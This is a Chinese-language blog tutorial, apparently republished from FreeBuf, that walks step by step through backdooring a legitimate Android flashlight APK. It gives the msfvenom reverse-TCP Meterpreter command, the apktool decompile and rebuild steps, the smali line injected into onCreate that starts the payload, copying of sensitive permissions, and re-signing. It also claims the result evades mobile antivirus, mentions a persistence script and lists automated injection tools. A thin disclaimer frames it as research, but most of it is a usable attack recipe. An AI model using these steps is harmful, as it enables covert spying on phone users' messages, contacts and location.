如何手动注入Payload后门到安卓APK文件并维持访问

声明:本文内容可能具有攻击性,只供安全研究和警示作用,请勿用于非法用途,非法使用后果与我无关。

本人小白一枚,前段时间看到@鸢尾 大神写的文章《如何用kwetza给安卓应用加后门》。大神自己写的自动化注入工具,看过程也并不困难,我就产生了自己手动注入的想法,折腾了一天终于搞定了。

当然已经有有好多的自动化注入工具可以使用了,我先总结一下:

1.backdoor-apk :https://github.com/dana-at-cp/backdoor-apk 2. spade: https://github.com/suraj-root/spade 3. apk-embed-payload.rb:https://gist.github.com/SkullTech/a62d106b55562cc1ab88 4:当然还有@鸢尾大神的kwetza。

欢迎补充哈!!!

好了,开始正文。

先捋一下思路,把PAYLOAD小马注入到一个目标apk文件中,关键是要找到目标APK的入口,并把启动payload小马的代码添加进去,随目标APK一起启动,从而实现监听手机的目的。当然前提是apk文件可逆。

这里使用注入目标apk文件:(百度)手电筒—-小米应用市场下载的

顺着思路,我们先用msf生成小马。

Step 1:

msfvenom -p android/meterpreter/reverse_tcp LHOST=本机IP LPORT=监听端口号 -o 应用名.apk

我们可以看到,payload小马只有8.8 KB (8,843 字节),非常小,可谓短小精悍。

Step 2:

反编译payload小马houmen.apk和手电筒.apk

apktool d /root/houmen.apk

apktool d /root/手电筒-1.0.3_4.apk

我们得到了反编译之后的文件。

Step 3 :

开始寻找手电筒-1.0.3_4.apk文件的入口,在手电筒-1.0.3_4的Manifest.xml文件中查找Main和Launch关键词,定位到所对应的启动smail文件

搜索Main和Launch关键词

好了,直接找到com/baidu/flashliaght/MainActivety.smail文件,终于到关键时候了,我们要在手电筒启动的activety中添加启动PAYLOAD小马的代码。

直接搜索onCreat函数,找到bundle对象,你并在下面添加启动payload代码:invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)Vv

点击保存之后呢,我们还要把刚才反编译的payload文件中的smail代码复制过来,把payload的smail/com/metasploit文件复制到手电筒的smail/com/目录下。

OK,现在基本已经大功告成了。直接保存退出就好。

接下来呢,我们还有一个问题,就是权限的问题,payload小马作为监听程序,肯定少不了有很多权限,而手电筒作为一个简单的工具,权限肯定很少,因此要想使监听功能更齐全,我们有必要补充一下权限。首先对比houmen.apk和手电筒.apk的权限清单,把手电筒没有的权限从houmen.apk直接复制过来,当然了,注意不要复制重复了。

大家注意看我们所添加的权限,都是一些敏感的,容易泄露个人信息的高危权限。一会我们要测试。

现在保存退出,剩下的就是回编译签名了。

回编译:apktool b /root/手电筒-1.0.3_4

生成KEYSTORE:keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222

签名:jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1

终于完工了,我们把生成的应用装到手机,并打开msf控制台,设置好监听参数后,等待上线。

成功上线

完事之后呢,接上面的权限问题,既然我们添加了那么多高危权限,手机杀软能查出来吗? 我用我的手机进行了实测:

上面的360和腾讯手机管家实测扫描结果,竟然都没有报毒,想想好可怕啊。

因此提醒大家,自己用的手机就别ROOT了,普通应用就不要给太多权限了,哎,还是老梗,说的再多,依然有人不听欸。

写到这呢,本来就完了,但是还有一个问题,就是payload小马有个缺点,就是启动后,我在xiaomi5实测,大概一分钟就掉线,很让人恼火啊,如果目标手机一直不再点击这个应用,我们就干瞪眼了。并且这还是一个低频的应用,好几天也不知会不会用一回。

怎么解决呢,我找了好久,终于找到个方法,当然不是我原创啊,我们拿来用。就是用一个sh脚本,关联小马,让其隔段时间启动一回。脚本如下:

如何使用呢,我们需要在启动监听时,把脚本上传到手机,然后运行即可:

这个过程一定要快,应为payload随时会断开,要抓紧时间。运行脚本后呢,等待一会,稳定之后就可以持续维持访问了。

到此呢,你就可以持续的访问了。

查看短信,定位,读取联系人,等都可以实现。

啰里啰唆的,写到这,终于写完了。小白能力有限,纯属业余,大神勿喷!!!

So,送个视频给那些在努力的小伙伴,just do it. 视频地址:https://v.qq.com/x/page/z0342acx2u3.html

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-05-03

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏沃趣科技

容器化 RDS:借助 CSI 扩展 Kubernetes 存储能力

RDS 并不是新生事物,新鲜的是通过容器技术和容器编排技术构建 RDS。对金融客户而言,他们有强烈拥抱 Docker 和 Kubernetes 的愿望,但可用性...

33230
来自专栏写代码的海盗

Nodejs课堂笔记—第一课:修改Webstorm的默认主题

    最近小半年一直在忙于研究Docker源码,也在写相关的分析文章。但受限于某些条件不能发布到网上,甚为郁闷。而最近几天,接到新的开发任务,需要使用node...

28050
来自专栏编程坑太多

『中级篇』多容器复杂应用的部署(30)

PS : none 和host的网络基本也讲解完成了,他们各有利弊,其实用到最多的还是bridage,了解他们的之间的区别。

10920
来自专栏乐沙弥的世界

MHA VIP切换脚本

    MHA能够在10~30秒内实现自动故障检测和故障转移,适用于对高可用性,数据完整性要求较高的场合。要做到无缝切换,还需要依赖于VIP漂移。VIP漂移比较...

18130
来自专栏北京马哥教育

Virtualization-Cpu/Memory/IO虚拟化详解

一、定义 虚拟化是指通过虚拟化技术将一台计算机虚拟为多台逻辑计算机。在一台计算机上同时运行多个逻辑计算机,每个逻辑计算机可运行不同的操作系统,并且应用程序都可以...

24460
来自专栏编程软文

程序员常用软件,你用了哪些

30350
来自专栏技术博文

DiscuzX2.5数据库字典

pre_common_admincp_cmenu – 后台菜单收藏表 title => ‘菜单名称’ url => ‘菜单地址’ sort => ’0′ COM...

37070
来自专栏双十二技术哥

Android性能优化(六)之卡顿那些事

对普通用户而言,类如内存占用高、耗流量、耗电量等性能问题可能不会轻易发现,但是卡顿问题用户一定会立马直观的感受到。本文就带你一览卡顿的发生、检测、及优化。

17720
来自专栏FreeBuf

【漏洞细节】VTech平板电脑:多个数据泄露的隐患暗藏

在最近的VTech数据泄露事件后,大家或许认为VTech的电子玩具安全性不会比现在更糟糕了。然而就在这种情况下,我们又发现了两个漏洞,黑客可以从孩子们的Inno...

19750
来自专栏大魏分享(微信公众号:david-share)

为微服务引入Istio服务网格(上)

2.3K20

扫码关注云+社区

领取腾讯云代金券